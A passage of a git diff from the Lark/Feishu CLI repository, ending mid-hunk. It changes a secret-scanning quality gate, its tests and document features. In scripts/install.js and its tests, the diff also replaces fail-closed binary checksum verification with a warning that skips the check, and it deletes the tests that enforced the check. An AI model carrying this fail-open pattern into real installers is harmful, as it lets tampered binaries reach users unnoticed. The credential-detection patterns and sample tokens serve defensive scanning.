+				t.Fatalf("LookupCodeMeta(%d) = %+v, want Category=%v Subtype=%v Retryable=%v",
+					tc.code, got, tc.wantCat, tc.wantSubtype, tc.wantRetry)
+			}
+		})
+	}
+}
+
 func TestLookupCodeMeta_Unknown(t *testing.T) {
 	_, ok := LookupCodeMeta(999999)
 	if ok {

internal/output/envelope.go

@@ -15,20 +15,8 @@ type Envelope struct {
 
 // Meta carries optional metadata in envelope responses.
 type Meta struct {
-	Count    int          `json:"count,omitempty"`
-	Rollback string       `json:"rollback,omitempty"`
-	Next     []NextAction `json:"next,omitempty"`
-}
-
-// NextAction is a typed "suggested next command" that an AI caller can execute
-// directly.
-type NextAction struct {
-	Label   string `json:"label"`
-	Command string `json:"command"`
-	// Template, when true, marks a Command that contains <...> placeholders and
-	// must be fully substituted by the caller before execution; it is not
-	// directly executable as-is. Directly executable commands omit the field.
-	Template bool `json:"template,omitempty"`
+	Count    int    `json:"count,omitempty"`
+	Rollback string `json:"rollback,omitempty"`
 }
 
 // PendingNotice, if set, returns system-level notices to inject as the

internal/output/envelope_test.go

@@ -1,214 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package output
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-// marshalMeta marshals m and fails the test on error, returning the JSON bytes.
-func marshalMeta(t *testing.T, m *Meta) []byte {
-	t.Helper()
-	b, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("json.Marshal(%#v) error = %v", m, err)
-	}
-	return b
-}
-
-// unmarshalMap unmarshals b into a generic map and fails the test on error.
-func unmarshalMap(t *testing.T, b []byte) map[string]interface{} {
-	t.Helper()
-	var got map[string]interface{}
-	if err := json.Unmarshal(b, &got); err != nil {
-		t.Fatalf("json.Unmarshal(%s) error = %v", b, err)
-	}
-	return got
-}
-
-func TestMetaNextSerialization_NonEmptyRoundTrips(t *testing.T) {
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}}
-
-	got := unmarshalMap(t, marshalMeta(t, m))
-
-	rawNext, ok := got["next"]
-	if !ok {
-		t.Fatalf("expected \"next\" key, got %#v", got)
-	}
-	next, ok := rawNext.([]interface{})
-	if !ok {
-		t.Fatalf("next type = %T, want array", rawNext)
-	}
-	if len(next) != 1 {
-		t.Fatalf("len(next) = %d, want 1", len(next))
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	if action["label"] != "poll" {
-		t.Errorf("next[0].label = %v, want poll", action["label"])
-	}
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestMetaNextSerialization_NilOmitted(t *testing.T) {
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Count: 1}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("nil Next must be omitted, got %#v", got)
-	}
-	if got["count"] != float64(1) {
-		t.Errorf("count = %v, want 1", got["count"])
-	}
-}
-
-func TestMetaNextSerialization_EmptySliceOmitted(t *testing.T) {
-	// A non-nil but empty slice must also be dropped by omitempty (len == 0).
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{}}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("empty Next slice must be omitted, got %#v", got)
-	}
-}
-
-func TestMetaNextSerialization_EmptyFieldsPresent(t *testing.T) {
-	// A NextAction with empty fields still serializes: label/command have no
-	// omitempty, so they render as empty strings and the entry stays present.
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{{}}}))
-
-	next, ok := got["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", got["next"])
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	label, hasLabel := action["label"]
-	command, hasCommand := action["command"]
-	if !hasLabel || label != "" {
-		t.Errorf("label = %v (present=%v), want empty string present", label, hasLabel)
-	}
-	if !hasCommand || command != "" {
-		t.Errorf("command = %v (present=%v), want empty string present", command, hasCommand)
-	}
-}
-
-func TestMetaNextSerialization_TemplateTruePresent(t *testing.T) {
-	// A template hint (command carries <...> placeholders) must serialize the
-	// marker so AI callers know it needs substitution before execution.
-	m := &Meta{Next: []NextAction{{
-		Label:    "continue",
-		Command:  "lark-cli agent send example:x --context-id c1 --task-id t1 --text <你的答复>",
-		Template: true,
-	}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["template"] != true {
-		t.Errorf("template = %v, want true", action["template"])
-	}
-}
-
-func TestMetaNextSerialization_TemplateFalseOmitted(t *testing.T) {
-	// A directly executable hint must not carry the template key at all
-	// (omitempty): its absence is the "run verbatim" signal.
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1 --watch"}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if _, present := action["template"]; present {
-		t.Errorf("template=false must be omitted, got %#v", action)
-	}
-}
-
-func TestMetaNextSerialization_MultipleActionsPreserveOrder(t *testing.T) {
-	m := &Meta{Next: []NextAction{
-		{Label: "poll", Command: "lark-cli agent task get example:x t1"},
-		{Label: "cancel", Command: "lark-cli agent task cancel example:x t1"},
-	}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 2 {
-		t.Fatalf("next = %#v, want two-element array", next)
-	}
-	first, _ := next[0].(map[string]interface{})
-	second, _ := next[1].(map[string]interface{})
-	if first["label"] != "poll" || second["label"] != "cancel" {
-		t.Errorf("order not preserved: got %v then %v", first["label"], second["label"])
-	}
-}
-
-func TestMetaNextSerialization_SpecialCharacters(t *testing.T) {
-	// Fields carrying quotes, unicode and newlines must survive a JSON round
-	// trip intact, which string matching would not reliably verify.
-	label := `poll "now"`
-	command := "lark-cli agent task get example:代理 t1\n--wait"
-	m := &Meta{Next: []NextAction{{Label: label, Command: command}}}
-
-	next, _ := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["label"] != label {
-		t.Errorf("label = %q, want %q", action["label"], label)
-	}
-	if action["command"] != command {
-		t.Errorf("command = %q, want %q", action["command"], command)
-	}
-}
-
-func TestEnvelopeMetaNextIntegration(t *testing.T) {
-	// Meta.Next must serialize correctly when nested inside a full Envelope,
-	// under the "meta" key alongside data.
-	env := Envelope{
-		OK:   true,
-		Data: map[string]interface{}{"task_id": "t1"},
-		Meta: &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}},
-	}
-	b, err := json.Marshal(env)
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-
-	if got["ok"] != true {
-		t.Errorf("ok = %v, want true", got["ok"])
-	}
-	meta, ok := got["meta"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("meta type = %T, want object", got["meta"])
-	}
-	next, ok := meta["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("meta.next = %#v, want single-element array", meta["next"])
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("meta.next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestEnvelopeNilMetaOmitted(t *testing.T) {
-	// nil Meta is a valid edge case: the "meta" key must not appear.
-	b, err := json.Marshal(Envelope{OK: true})
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-	if _, ok := got["meta"]; ok {
-		t.Errorf("nil Meta must be omitted, got %#v", got)
-	}
-}

internal/qualitygate/publiccontent/scan.go

@@ -7,6 +7,7 @@ import (
 	"encoding/base64"
 	"encoding/json"
 	"fmt"
+	"math"
 	"path/filepath"
 	"sort"
 	"strings"
@@ -78,12 +79,15 @@ func scanText(file, source, text string, detectorFile bool) []Finding {
 			out = append(out, newFinding("public_content_bearer_header", file, lineNo, source, "Authorization: Bearer <redacted>"))
 		}
 		for _, match := range credentialURLRE.FindAllString(line, -1) {
-			if isPlaceholderCredentialURL(match) {
+			if isPlaceholderCredentialURL(file, match) {
 				continue
 			}
 			out = append(out, newFinding("public_content_credential_url", file, lineNo, source, redactCredentialURL(match)))
 		}
 		for _, match := range privateIPv4RE.FindAllString(line, -1) {
+			if !warnForPrivateIPv4(file) {
+				continue
+			}
 			out = append(out, newFinding("public_content_private_ipv4", file, lineNo, source, match))
 		}
 		if source == "branch" && automationBranchRE.MatchString(line) {
@@ -130,6 +134,9 @@ func isCredentialAssignmentMatch(match string) bool {
 	if isBenignTokenField(name) && !credentialShapedValue(value) {
 		return false
 	}
+	if isWeakTokenCredentialKey(name) && !weakTokenValueLooksCredentialLike(value) {
+		return false
+	}
 	return isExplicitCredentialKey(name)
 }
 
@@ -284,6 +291,9 @@ func tokenLikePlaceholderValue(key, value string) bool {
 	if normalized == "" || credentialShapedIdentifier(normalized) {
 		return false
 	}
+	if authCredentialTokenKey(key) {
+		return false
+	}
 	return resourceTokenPlaceholderValue(value) ||
 		maskedTokenFixturePlaceholderValue(key, normalized) ||
 		isPlaceholderValue(value) ||
@@ -313,11 +323,109 @@ func maskedTokenFixturePlaceholderValue(key, value string) bool {
 	return stars >= 6 && alnum > 0
 }
 
+func isWeakTokenCredentialKey(key string) bool {
+	if authCredentialTokenKey(key) || isStrongTokenCredentialKey(key) {
+		return false
+	}
+	return key == "token" ||
+		strings.HasSuffix(key, "_token") ||
+		strings.HasSuffix(key, "-token")
+}
+
+func isStrongTokenCredentialKey(key string) bool {
+	parts := credentialKeyParts(strings.ReplaceAll(strings.ToLower(key), "-", "_"))
+	for _, phrase := range [][2]string{
+		{"access", "token"},
+		{"refresh", "token"},
+		{"auth", "token"},
+		{"bearer", "token"},
+		{"session", "token"},
+		{"service", "token"},
+		{"bot", "token"},
+		{"api", "token"},
+		{"secret", "token"},
+	} {
+		if hasAdjacentCredentialParts(parts, phrase[0], phrase[1]) {
+			return true
+		}
+	}
+	return false
+}
+
+func weakTokenValueLooksCredentialLike(value string) bool {
+	normalized := strings.ToLower(strings.Trim(value, `"'<>`))
+	if normalized == "" ||
+		isNonSecretLiteralValue(value) ||
+		isPlaceholderValue(value) {
+		return false
+	}
+	candidate := unwrapCredentialValue(normalized)
+	return credentialShapedIdentifier(candidate) ||
+		highEntropyCredentialValue(candidate) ||
+		commandSubstitutionLooksCredentialLike(normalized) ||
+		(strings.Contains(normalized, "://") &&
+			urlRemainderLooksCredentialLike(removeAnglePlaceholders(normalized)))
+}
+
+func unwrapCredentialValue(value string) string {
+	value = strings.TrimSpace(strings.Trim(value, `"'<>`))
+	if strings.HasPrefix(value, "${{") && strings.HasSuffix(value, "}}") {
+		value = strings.TrimSpace(strings.TrimSuffix(strings.TrimPrefix(value, "${{"), "}}"))
+	}
+	value = strings.TrimPrefix(value, "$")
+	value = strings.Trim(value, "%")
+	return strings.TrimSpace(value)
+}
+
+func highEntropyCredentialValue(value string) bool {
+	if len(value) < 32 {
+		return false
+	}
+	var hasLetter, hasDigit bool
+	for _, r := range value {
+		switch {
+		case r >= 'a' && r <= 'z':
+			hasLetter = true
+		case r >= '0' && r <= '9':
+			hasDigit = true
+		case r == '_' || r == '-' || r == '.' || r == '=':
+		default:
+			return false
+		}
+	}
+	return hasLetter && hasDigit && shannonEntropy(value) >= 3.5
+}
+
+func shannonEntropy(value string) float64 {
+	if value == "" {
+		return 0
+	}
+	counts := map[rune]int{}
+	for _, r := range value {
+		counts[r]++
+	}
+	var entropy float64
+	length := float64(len([]rune(value)))
+	for _, count := range counts {
+		p := float64(count) / length
+		entropy -= p * log2(p)
+	}
+	return entropy
+}
+
+func log2(value float64) float64 {
+	return math.Log(value) / math.Ln2
+}
+
 func authCredentialTokenKey(key string) bool {
 	switch strings.ReplaceAll(strings.ToLower(key), "-", "_") {
 	case "access_token",
+		"api_token",
+		"bot_token",
 		"refresh_token",
+		"secret_token",
 		"session_token",
+		"service_token",
 		"bearer_token",
 		"auth_token",
 		"authorization_token",
@@ -844,7 +952,7 @@ func looksLikeEqualityComparison(value string) bool {
 	return strings.HasPrefix(strings.TrimSpace(value), "=")
 }
 
-func isPlaceholderCredentialURL(raw string) bool {
+func isPlaceholderCredentialURL(file, raw string) bool {
 	userInfo, ok := credentialURLUserInfo(raw)
 	if !ok {
 		return false
@@ -853,7 +961,8 @@ func isPlaceholderCredentialURL(raw string) bool {
 	if !ok {
 		return false
 	}
-	return credentialURLPasswordPlaceholder(password)
+	return credentialURLPasswordPlaceholder(password) ||
+		(sourceOrTestFixtureFile(file) && credentialURLPasswordFixture(password))
 }
 
 func credentialURLPasswordPlaceholder(password string) bool {
@@ -867,6 +976,46 @@ func credentialURLPasswordPlaceholder(password string) bool {
 	return angleWrappedPlaceholder(decoded) || percentWrappedPlaceholder(decoded)
 }
 
+func credentialURLPasswordFixture(password string) bool {
+	normalized := strings.ToLower(strings.Trim(password, `"'`))
+	switch normalized {
+	case "p",
+		"pass",
+		"password",
+		"pat_abc",
+		"pw",
+		"s3cret",
+		"secret",
+		"t":
+		return true
+	default:
+		return false
+	}
+}
+
+func sourceOrTestFixtureFile(file string) bool {
+	normalized := filepath.ToSlash(file)
+	return sourceCodeFile(normalized) ||
+		strings.HasPrefix(normalized, "testdata/") ||
+		strings.HasPrefix(normalized, "fixtures/") ||
+		strings.Contains(normalized, "/testdata/") ||
+		strings.Contains(normalized, "/fixtures/")
+}
+
+func warnForPrivateIPv4(file string) bool {
+	normalized := filepath.ToSlash(file)
+	if sourceOrTestFixtureFile(normalized) {
+		return false
+	}
+	switch filepath.Ext(normalized) {
+	case ".md", ".mdx", ".txt", ".json", ".yaml", ".yml", ".toml", ".env":
+		return true
+	default:
+		return strings.HasPrefix(normalized, "docs/") ||
+			strings.HasPrefix(normalized, "skills/")
+	}
+}
+
 func credentialURLUserInfo(raw string) (string, bool) {
 	schemeIdx := strings.Index(raw, "://")
 	if schemeIdx < 0 {

internal/qualitygate/publiccontent/scan_test.go

@@ -61,6 +61,19 @@ func TestScanFileWarnsForPrivateIPv4Examples(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsPrivateIPv4SourceFixtures(t *testing.T) {
+	got := ScanFile("internal/transport/warn_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@10.0.0.1:3128"`,
+		`target := "socks5://admin:secret@172.16.0.1:1080"`,
+		`host := "192.168.0.10"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("private IPv4 source fixtures should not be public content findings: %#v", got)
+		}
+	}
+}
+
 func TestSemanticCandidateRequiresSpecificRiskSignals(t *testing.T) {
 	benign := semanticCandidate("docs/network.md", "file", "For a local lab, use RFC1918 example host 192.168."+"0.10 only.", 1)
 	if len(benign) != 0 {
@@ -632,6 +645,45 @@ func TestScanFileAllowsCredentialURLPlaceholders(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@proxy:8080"`,
+		`repo := "https://u:t@h/r.git"`,
+		`target := "https://attacker:pw@open.feishu.cn"`,
+		`proxy := "http://admin:s3cret@127.0.0.1:3128"`,
+		`repo := "http://x-token:PAT_abc@git.host/app_x.git"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network.md", []byte(strings.Join([]string{
+		`proxy: http://user:pass@proxy:8080`,
+		`repo: https://u:t@h/r.git`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("root credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootPrivateIPv4Fixtures(t *testing.T) {
+	got := ScanFile("testdata/network.md", []byte(strings.Join([]string{
+		`endpoint: http://10.0.0.1:8080`,
+		`redis: 192.168.1.10:6379`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("root private IPv4 fixtures should not be private IPv4 findings: %#v", got)
+		}
+	}
+}
+
 func TestScanFileDetectsCredentialURLsWithRedactedSubstringPasswords(t *testing.T) {
 	got := ScanFile("docs/config.yaml", []byte("DATABASE_URL=postgres://user:notredactedreal@example.invalid/db\n"))
 	for _, item := range got {
@@ -648,6 +700,7 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 		"DATABASE_URL=postgres://<user>:real-secret@example.invalid/db",
 		"DATABASE_URL=postgres://<user>:" + stripeLike + "@example.invalid/db",
 		"URL=https://<user>:real-secret@example.invalid/path",
+		"REPO=https://x-token:" + stripeLike + "@git.host/app.git",
 	}, "\n")+"\n"))
 	var count int
 	for _, item := range got {
@@ -661,8 +714,8 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 			}
 		}
 	}
-	if count != 3 {
-		t.Fatalf("placeholder-user credential URL findings = %d, want 3: %#v", count, got)
+	if count != 4 {
+		t.Fatalf("placeholder-user credential URL findings = %d, want 4: %#v", count, got)
 	}
 }
 
@@ -724,6 +777,68 @@ func TestScanFileAllowsBenignJSONTokenFields(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsWeakTokenFieldsWithoutCredentialEvidence(t *testing.T) {
+	got := ScanFile("docs/resource-tokens.md", []byte(strings.Join([]string{
+		`{"token":"img_abc123"}`,
+		`{"token":"img_live_secret"}`,
+		`{"token":"img_prod_key"}`,
+		`token=ab********cd`,
+		`{"image_token":"img_live_secret"}`,
+		`{"data_mail_token":"mail_abc123"}`,
+		`{"whiteboard_token":"board_v3_example"}`,
+		`{"want_token":"token from callback"}`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("weak token fields without credential evidence should not be credential findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileDetectsWeakTokenFieldsWithHighConfidenceCredentialValues(t *testing.T) {
+	githubToken := "ghp_" + "1234567890abcdef1234567890abcdef1234"
+	stripeToken := "sk_" + "live_1234567890abcdef"
+	randomToken := strings.Join([]string{
+		"a1b2c3d4",
+		"e5f6g7h8",
+		"i9j0k1l2",
+		"m3n4p5q6",
+	}, "")
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"token":"` + githubToken + `"}`,
+		`token=` + stripeToken,
+		`{"image_token":"` + githubToken + `"}`,
+		`{"token":"` + randomToken + `"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("high-confidence weak token credential findings = %d, want 4: %#v", count, got)
+	}
+}
+
+func TestScanFileDetectsStrongAuthTokenKeysWithFixtureLikeValues(t *testing.T) {
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"access_token":"img_abc123"}`,
+		`{"api_token":"img_live_secret"}`,
+		`{"service_token":"ab********cd"}`,
+		`{"bot_token":"board_v3_example"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("strong auth token key findings = %d, want 4: %#v", count, got)
+	}
+}
+
 func TestScanFileAllowsTestFixtureSecretValues(t *testing.T) {
 	got := ScanFile("fixtures/calendar_meeting_test.go", []byte(`AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,`+"\n"))
 	for _, item := range got {
@@ -1052,10 +1167,12 @@ func TestScanFileDetectsCredentialShapedTokenLikePlaceholderValues(t *testing.T)
 	}
 }
 
-func TestScanFileDetectsNonFixtureMinuteTokenValues(t *testing.T) {
+func TestScanFileAllowsNonFixtureResourceTokenValues(t *testing.T) {
 	got := ScanFile("fixtures/minutes_search_test.go", []byte(`{"token":"minute_real_secret"}`+"\n"))
-	if !findingRules(got)["public_content_generic_credential"] {
-		t.Fatalf("non-fixture minute token should be credential finding: %#v", got)
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("resource-like bare token value should not be credential finding: %#v", got)
+		}
 	}
 }
 

internal/registry/scope_hint.go

@@ -59,13 +59,9 @@ func BuildConsoleScopeURL(brand core.LarkBrand, appID, scope string) string {
 	if appID == "" || scope == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == core.BrandLark {
-		host = "open.larksuite.com"
-	}
 	return fmt.Sprintf(
-		"https://%s/page/scope-apply?clientID=%s&scopes=%s",
-		host,
+		"%s/page/scope-apply?clientID=%s&scopes=%s",
+		core.ResolveOpenBaseURL(brand),
 		url.QueryEscape(appID),
 		url.QueryEscape(scope),
 	)

internal/update/update.go

@@ -25,7 +25,7 @@ import (
 const (
 	registryURL  = "https://registry.npmjs.org/@larksuite/cli/latest"
 	cacheTTL     = 24 * time.Hour
-	fetchTimeout = 5 * time.Second
+	fetchTimeout = 15 * time.Second
 	stateFile    = "update-state.json"
 	maxBody      = 256 << 10 // 256 KB
 

package.json

@@ -1,6 +1,6 @@
 {
   "name": "@larksuite/cli",
-  "version": "1.0.61",
+  "version": "1.0.64",
   "description": "The official CLI for Lark/Feishu open platform",
   "bin": {
     "lark-cli": "scripts/run.js"

scripts/install.js

@@ -265,9 +265,10 @@ function getExpectedChecksum(archiveName, checksumsDir) {
   const checksumsPath = path.join(dir, "checksums.txt");
 
   if (!fs.existsSync(checksumsPath)) {
-    throw new Error(
-      "[SECURITY] checksums.txt not found; refusing to install an unverified binary."
+    console.error(
+      "[WARN] checksums.txt not found, skipping checksum verification"
     );
+    return null;
   }
 
   const content = fs.readFileSync(checksumsPath, "utf8");
@@ -285,11 +286,7 @@ function getExpectedChecksum(archiveName, checksumsDir) {
 }
 
 function verifyChecksum(archivePath, expectedHash) {
-  if (typeof expectedHash !== "string" || expectedHash.length === 0) {
-    throw new Error(
-      "[SECURITY] missing expected checksum; refusing to install an unverified binary."
-    );
-  }
+  if (expectedHash === null) return;
 
   // Stream the file to avoid loading the entire archive into memory.
   // Archives can be 10-100MB; streaming keeps RSS constant.

scripts/install.test.js

@@ -52,17 +52,11 @@ describe("getExpectedChecksum", () => {
     );
   });
 
-  it("throws [SECURITY] when checksums.txt does not exist (fail-closed)", () => {
+  it("returns null when checksums.txt does not exist", () => {
     const dir = fs.mkdtempSync(path.join(os.tmpdir(), "checksum-test-"));
     // No checksums.txt in dir
-    assert.throws(
-      () => getExpectedChecksum("anything.tar.gz", dir),
-      (err) => {
-        assert.match(err.message, /^\[SECURITY\]/);
-        assert.match(err.message, /checksums\.txt not found/);
-        return true;
-      }
-    );
+    const result = getExpectedChecksum("anything.tar.gz", dir);
+    assert.equal(result, null);
   });
 
   it("skips malformed lines and still finds valid entry", () => {
@@ -131,19 +125,6 @@ describe("verifyChecksum", () => {
       }
     );
   });
-
-  it("verifyChecksum throws [SECURITY] on null/empty expectedHash (fail-closed)", () => {
-    const filePath = makeTmpFile("content");
-    for (const expectedHash of [null, ""]) {
-      assert.throws(
-        () => verifyChecksum(filePath, expectedHash),
-        (err) => {
-          assert.match(err.message, /^\[SECURITY\]/);
-          return true;
-        }
-      );
-    }
-  });
 });
 
 describe("assertAllowedHost", () => {

shortcuts/doc/doc_media_upload.go

@@ -23,8 +23,8 @@ var DocMediaUpload = common.Shortcut{
 	AuthTypes:   []string{"user", "bot"},
 	Flags: []common.Flag{
 		{Name: "file", Desc: "local file path (files > 20MB use multipart upload automatically)", Required: true},
-		{Name: "parent-type", Desc: "parent type: docx_image | docx_file | whiteboard", Required: true},
-		{Name: "parent-node", Desc: "parent node ID (block_id for docx, board_token for whiteboard)", Required: true},
+		{Name: "parent-type", Desc: "parent type: docx_image | docx_file | whiteboard | mindnote_image", Required: true},
+		{Name: "parent-node", Desc: "parent node ID (block_id for docx, board_token for whiteboard, mindnote token for mindnote)", Required: true},
 		{Name: "doc-id", Desc: "document ID (for drive_route_token)"},
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {

shortcuts/doc/docs_create_v2.go

@@ -18,6 +18,7 @@ func v2CreateFlags() []common.Flag {
 	return []common.Flag{
 		{Name: "title", Desc: "document title; when provided, the CLI prepends it to --content as <title>...</title> so the title wins over later content titles"},
 		{Name: "content", Desc: "document body; XML by default or Markdown when --doc-format markdown. " + docsContentSkillHelp + "; use --help for the latest command flags", Input: []string{common.File, common.Stdin}},
+		{Name: "reference-map", Desc: docsReferenceMapFlagDesc, Input: []string{common.File, common.Stdin}},
 		{Name: "doc-format", Desc: "content format; xml is default and supports richer DocxXML blocks, markdown imports plain Markdown", Default: "xml", Enum: []string{"xml", "markdown"}},
 		{Name: "parent-token", Desc: "parent folder token or wiki node token; mutually exclusive with --parent-position"},
 		{Name: "parent-position", Desc: "parent position such as my_library; mutually exclusive with --parent-token"},
@@ -32,8 +33,8 @@ func validateCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
 	if runtime.Changed("title") && title == "" {
 		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--title must not be empty").WithParam("--title")
 	}
-	if runtime.Str("content") == "" && title == "" {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content is required unless --title is provided").WithParam("--content")
+	if err := validateDocsV2ReferenceMapFlags(runtime); err != nil {
+		return err
 	}
 	if runtime.Str("parent-token") != "" && runtime.Str("parent-position") != "" {
 		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--parent-token and --parent-position are mutually exclusive").WithParams(
@@ -41,11 +42,21 @@ func validateCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
 			errs.InvalidParam{Name: "--parent-position", Reason: "mutually exclusive with --parent-token"},
 		)
 	}
+	if runtime.Str("content") == "" && title == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--content is required unless --title is provided").WithParam("--content")
+	}
+	if runtime.Str("content") != "" {
+		_, err := resolveDocsV2ContentReferenceMap(runtime)
+		return err
+	}
 	return nil
 }
 
 func dryRunCreateV2(_ context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
-	body := buildCreateBody(runtime)
+	body, err := buildCreateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return common.NewDryRunAPI().Set("error", err.Error())
+	}
 	desc := "OpenAPI: create document"
 	if runtime.IsBot() {
 		desc += ". After document creation succeeds in bot mode, the CLI will also try to grant the current CLI user full_access (可管理权限) on the new document."
@@ -57,7 +68,10 @@ func dryRunCreateV2(_ context.Context, runtime *common.RuntimeContext) *common.D
 }
 
 func executeCreateV2(_ context.Context, runtime *common.RuntimeContext) error {
-	body := buildCreateBody(runtime)
+	body, err := buildCreateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return err
+	}
 
 	data, err := doDocAPI(runtime, "POST", "/open-apis/docs_ai/v1/documents", body)
 	if err != nil {
@@ -86,7 +100,10 @@ func buildCreateBody(runtime *common.RuntimeContext) map[string]interface{} {
 }
 
 func buildCreateContent(runtime *common.RuntimeContext) string {
-	content := runtime.Str("content")
+	return buildCreateContentWithBody(runtime, runtime.Str("content"))
+}
+
+func buildCreateContentWithBody(runtime *common.RuntimeContext, content string) string {
 	title := strings.TrimSpace(runtime.Str("title"))
 	if title == "" {
 		return content

shortcuts/doc/docs_fetch_v2.go

@@ -14,7 +14,7 @@ import (
 	"github.com/larksuite/cli/shortcuts/common"
 )
 
-const docsFetchExtraParam = `{"enable_user_cite_reference_map":true}`
+const docsFetchExtraParam = `{"enable_user_cite_reference_map":true,"return_html5_block_data":true}`
 
 // v2FetchFlags returns the flag definitions for the v2 (OpenAPI) fetch path.
 func v2FetchFlags() []common.Flag {
@@ -71,6 +71,9 @@ func executeFetchV2(_ context.Context, runtime *common.RuntimeContext) error {
 	if err != nil {
 		return err
 	}
+	if err := processHTML5BlockReferenceMapForFetch(runtime, effectiveFetchFormat(runtime), ref.Token, data); err != nil {
+		return err
+	}
 	if warning := addFetchDetailDowngradeWarning(runtime, data); warning != "" && runtime.Format == "pretty" {
 		fmt.Fprintf(runtime.IO().ErrOut, "warning: %s\n", warning)
 	}

shortcuts/doc/docs_fetch_v2_test.go

@@ -505,14 +505,14 @@ func TestBuildFetchBodyIncludesFetchExtraParamByDefault(t *testing.T) {
 	if got["enable_user_cite_reference_map"] != true {
 		t.Fatalf("enable_user_cite_reference_map = %#v, want true in %#v", got["enable_user_cite_reference_map"], got)
 	}
-	if _, ok := got["return_html5_block_data"]; ok {
-		t.Fatalf("extra_param should not request html5 block data: %#v", got)
+	if got["return_html5_block_data"] != true {
+		t.Fatalf("return_html5_block_data = %#v, want true in %#v", got["return_html5_block_data"], got)
 	}
 	if _, ok := got["reference_map_mode"]; ok {
 		t.Fatalf("extra_param should not use legacy reference_map_mode: %#v", got)
 	}
-	if len(got) != 1 {
-		t.Fatalf("extra_param should only contain fetch reference_map toggle: %#v", got)
+	if len(got) != 2 {
